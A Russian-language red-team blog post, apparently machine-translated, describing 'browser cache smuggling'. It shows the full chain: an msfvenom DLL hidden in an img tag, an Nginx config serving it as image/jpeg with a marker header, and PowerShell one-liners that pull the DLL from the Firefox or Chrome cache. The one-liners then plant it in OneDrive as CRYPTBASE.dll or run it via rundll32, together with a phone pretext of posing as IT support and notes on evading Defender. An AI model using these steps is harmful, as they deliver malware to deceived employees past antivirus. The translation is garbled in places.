November 1, 2023

кэш браузеров контрабанда

В ходе работы с красной командой я часто использую социальную инженерию, чтобы заставить одного из сотрудников моего клиента запустить мой вредоносный код на их машинах, что позволяет мне получить доступ к их системе. Типичный подход, который я использовал, — позвонить им, сказать, что я из ИТ-поддержки, а затем предложить им перейти на официальную веб-страницу, содержащую некоторый код PowerShell, который им нужно запустить, чтобы исправить некоторые выдуманные ошибки. проблема.

Однако этот подход хорошо известен поставщикам средств безопасности, и в наши дни почти все продукты для защиты от вредоносного ПО и EDR блокируют или, по крайней мере, предупреждают о любом подозрительно выглядящем коде PowerShell, особенно коде, который загружает полезную нагрузку, а затем выполняет ее. Я хотел найти другой, более незаметный способ доставить полезную нагрузку целевым пользователям.

Итак, первый вопрос, который я задал себе: какие механизмы ежедневно использует операционная система, которыми я могу манипулировать для доставки вредоносного ПО? И тут мне в голову пришло: кеш браузера!

В этой статье я представлю технику, с помощью которой злоумышленник с помощью социальной инженерии заставляет целевого сотрудника посетить веб-сайт. Затем веб-сайт автоматически поместит полезную нагрузку DLL в кеш браузера, замаскированную под изображение. На том же веб-сайте пользователь с помощью социальной инженерии запускает безобидный на вид однострочный файл PowerShell, который перемещает полезную нагрузку DLL в папку, где она будет автоматически выполняться. Я также покажу еще несколько интересных вещей, которые я обнаружил в отношении Defender во время этого исследования.

I/ Что такое кеш браузера?

Когда вы перемещаетесь по Интернету, ваш браузер загружает массу файлов, таких как изображения, видео, CSS, JavaScript и так далее. Загрузка одной и той же страницы дважды означает, что браузер дважды загрузит одни и те же файлы. Это бесполезно и требует много ресурсов процессора, а также пропускной способности сети.

В современных браузерах реализован механизм, позволяющий хранить эти файлы локально, чтобы не приходилось загружать их каждый раз. Этот механизм называется кэшем браузера.

Если мы посмотрим, как работает Firefox в Windows, мы увидим, что в AppData/Local есть каталог Firefox, в котором хранятся файлы, похожие на кэшированные:

А файлов довольно много, около 300МБ:

Теперь давайте очистим этот каталог и перейдем на сайт https://orangecyberdefense.com. Вы увидите, что новые файлы добавляются во время навигации:

Итак, кажется, мы нашли механизм, автоматически скачивающий файлы!

Однако браузеры не будут кэшировать любой файл, предоставленный сервером. Он будет кэшировать статические ресурсы — файлы, содержимое которых не будет часто меняться. Таким образом, наши браузеры в основном кэшируют изображения, видео и иногда JS/CSS. Было бы здорово, если бы мы могли каким-то образом заставить браузер кешировать файлы, содержащие двоичную полезную нагрузку, например файлы DLL или EXE. Как мы это делаем?

II/ Управление механизмами кэширования браузеров

Чтобы определить, какие файлы кэшировать, браузеры в основном будут полагаться на заголовок Content-Type, отправленный веб-сервером. Например, на скриншоте ниже мы видим, что файл « avatar.jpg» был отправлен сервером и его тип содержимого — « image/jpeg»:

В Linux веб-серверы обычно используют этот /etc/mime.typesфайл, чтобы знать, какой тип контента он должен возвращать для конкретного файла. Содержимое /etc/mime.typesобычно выглядит так:

Этот файл содержит значения типов контента, связанные с расширением файлов. Таким образом, когда веб-сервер (в данном случае Nginx) видит, что файл avatar.jpgзапрошен, он проверит mime.typesфайл, чтобы определить тип содержимого расширения .jpg, и увидит, что это image/jpeg:

Как злоумышленник, мы можем переопределить эти значения. Помните, наша цель — принудительно загрузить либо DLL, либо EXE-файл. Для этого нам просто нужно изменить тип содержимого, связанного с файлами DLL и EXE, с application/x-msdos-programна image/jpeg. Это просто делается с помощью следующей строки в вашей конфигурации Nginx:

types { } default_type image/jpeg;

Это аннулирует сопоставление типов mime в памяти, а затем устанавливает тип контента по умолчанию на « image/jpg» для неизвестных типов (т. е. для всех файлов, поскольку мы сначала уничтожили сопоставления). Включение этого в блок «местоположение», который соответствует только вашей полезной нагрузке, позволит достичь желаемого эффекта, не превращая все в «изображение». См. часть III ниже для получения полной конфигурации в контексте.

Далее нам нужно будет сгенерировать две вещи:

  • DLL, в данном случае простая, которая будет запускать файл Calc.exe, созданный с помощью MSFVenom:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll
  • HTML-страница, в которую DLL встроена в тег img:
<!DOCTYPE html>
<html>
        <body>
                <h1>Browser cache smuggling</h1>
                <img src="calc.dll" style="display: none;"></img>
        </body>
</html>

Затем мы очищаем кеш Firefox, перезагружаем HTML-страницу и видим, что файл был загружен:

Учитывая размер кэшированных файлов, можно сделать вывод, что файл, начинающийся с 75E… — это наша Calc DLL. Для уверенности мы можем загрузить следующую страницу в Firefox:

about:cache?storage=disk

Это список всех кэшированных файлов в Firefox. И если мы выполним поиск строки, мы увидим, что она calc.dllбыла кэширована:

Это означает, что DLL была эффективно доставлена ​​в систему. А что, если я вам скажу, что этот способ доставки не помечается антивирусом? Ага! Защитник работает на компьютере с Windows, который является моей целью, и ничего не кричит. Знаю, почему? Потому что когда DLL была загружена и сохранена в кеше, она была переименована в случайное имя файла без расширения:

Таким образом, Защитник не сканирует файл, и наша DLL может оставаться там столько, сколько нам нужно!

III/ А что насчет исполнения?

Типичный способ заставить это работать — провести социальную инженерию пользователя, сообщив ему, что с его системой что-то не так и что ему нужно запустить команду, чтобы это исправить. Мы сообщаем им, что команда находится на официальной веб-странице. Когда страница загружается, DLL кэшируется в их системе. Пользователь получает команду с веб-страницы и запускает ее, что приводит к выполнению уже кэшированной DLL. При таком подходе мы гарантируем, что DLL по-прежнему кэшируется, когда пользователь запускает команду.

Ключевое отличие этого подхода от социальной инженерии, позволяющей пользователю выполнить команду C2 stager, заключается в том, что команда, которую мы заставляем пользователя выполнить, не загружает вредоносную полезную нагрузку, поскольку она уже находится в системе и кэшируется браузером. Идея состоит в том, чтобы попытаться сделать команду максимально безопасной, чтобы избежать подозрений или обнаружения, и позволить Firefox делать грязную работу, кэшируя DLL-файл вредоносного ПО.

Чтобы это работало, нам нужен способ найти нашу DLL среди всех других файлов, кэшируемых браузером.

Если мы внимательно посмотрим на размер кэшированной DLL и размер самой DLL, то увидим, что кэшированная немного больше:

Причина в том, что кэшированный файл — это не просто DLL, это файл, который содержит как содержимое DLL-файла, так и метаданные. Среди метаданных есть HTTP-ответ сервера Nginx, содержащий несколько HTTP-заголовков:

Таким образом, все, что нам нужно сделать, это создать флаг в ответе HTTP сервера, который позволит нам идентифицировать нашу DLL. Мы можем добиться этого, изменив файл конфигурации Nginx следующим образом:

server {
	listen 80 default_server;
	listen [::]:80 default_server;
	root /var/www/html;
	index index.html index.htm index.nginx-debian.html;
	server_name _;

	# Adding the HTTP header TAG used to find the real DLL
	location /calc.dll {
		# Override the mime type
		types { } default_type image/jpeg;
		add_header Tag DLLHERE;
	}
}

Если мы перезагрузим HTML-страницу, мы увидим, что когда серверу предлагается предоставить файл calc.dll, его ответ содержит дополнительный HTTP-заголовок, который отмечает нашу DLL:

Используя PowerShell или пакетную обработку, мы можем выполнить поиск этой конкретной строки, чтобы найти нашу DLL в каталоге локального кэша:

На данный момент мы знаем, где находится наша DLL, поэтому давайте попробуем ее выполнить.

Проводя это исследование, я понял, что как только я переименовал файл кэша в « calc.dll», антивирус пометил его как вредоносный (мсфвеном, вы знаете…). Я пробовал много чего, пока не понял, что rundll32 может выполнять DLL, у которой нет расширения .dll:

Все, что вам нужно сделать, это добавить точку к имени кэшированного файла, и rundll32 выполнит его. Еще более странно то, что мы уже видели, что кэшированный файл — это не только DLL, но и метаданные, однако rundll32 не заботится об этом и будет выполнять DLL.

Заставление пользователя выполнить rundll32 может вызвать некоторые сигналы тревоги, даже если DLL уже находится в файловой системе пользователя. Альтернативный подход может заключаться в простом перемещении существующей DLL на место, чтобы она выполнялась, когда пользователь открывает другое приложение. В результате получается гораздо более безопасная команда, которая сама ничего не загружает и не выполняет, а только перемещает существующий файл. Однако этот подход требует, чтобы ваша вредоносная DLL не обнаруживалась статически антивирусом.

Следующий однострочный код PowerShell будет искать DLL в каталоге кэша и перемещать ее в подходящее место, например в папку OneDrive, чтобы запустить атаку с боковой загрузкой DLL:

foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "DLLHERE" -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}

Когда в следующий раз будет запущен OneDrive, ваше вредоносное ПО тоже будет!

IV/ А как насчет Google Chrome?

Способ, которым Google Chrome хранит файлы в своем кеше, немного сложнее использовать. Действительно, файлы не хранятся по отдельности, они хранятся в нескольких базах данных, расположенных в %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Dataпапке:

Таким образом, получение кэшированных файлов означает манипулирование базой данных, а это непросто, особенно с PowerShell. В этот момент я думал, что эту технику невозможно использовать в Chrome, пока @shifttymike не прислал мне это сообщение:

И это гениально! Вот как я собрал вещи воедино. Сначала мы создаем DLL через msfvenom:

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll > calc.dll

Затем мы добавляем строку, которая сообщит нам, где начинается DLL:

sed -i "1s/^/INDLL/" calc.dll

И добавьте строку, чтобы сообщить нам, где она заканчивается:

echo -n "OUTDLL" >> calc.dll

На данный момент мы знаем, что наша DLL расположена между тегами INDLL и OUTDLL в одной из баз данных кэша Chrome. Все, что нам нужно сделать, это запустить некоторый код PowerShell, который сможет анализировать базы данных Chrome и извлекать из них DLL. Это можно сделать с помощью следующего однострочного кода PowerShell:

$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";gci $d|%{if([regex]::Matches([System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)),"(?<=INDLL)(.*?)(?=OUTDLL)",[System.Text.RegularExpressions.RegexOptions]::Singleline).Count-ne0){[System.IO.File]::WriteAllBytes("$d\hello.dll",[System.Text.Encoding]::Default.GetBytes($matches[0].Value))}}

И, по сути, наша DLL найдена и извлечена:

Затем мы можем использовать rundll32для его выполнения:

Или переместите DLL в определенную папку, как показано ранее.

V/ Заключение

Насколько мне известно, я еще не видел описания этого способа доставки вредоносного ПО. На мой взгляд, это довольно крутой трюк, поскольку он позволяет оператору красной команды принудительно загрузить вредоносное ПО, просто отправив URL-адрес его цели. Нет необходимости обманом заставить цель загрузить вредоносный файл (который может быть подозрительным), единственное, о чем вам нужно позаботиться, — это заставить пользователя запустить безобидный на вид однострочный файл Power Shell. На мой взгляд, намного скрытнее ;)!

Последний совет от Red Teamer: если вы когда-нибудь найдете компьютер или сервер, на котором установлен браузер, вы можете заглянуть в папку кеша и прочитать кешированные файлы. Благодаря метаданным вы сможете собирать имена хостов DNS, которые позволят вам обнаруживать потенциальные цели во внутренней сети (привет, vSphere :D)!

Удачного взлома!

Это перекрестная публикация с https://blog.whiteflag.io/blog/browser-cache-smuggling/ .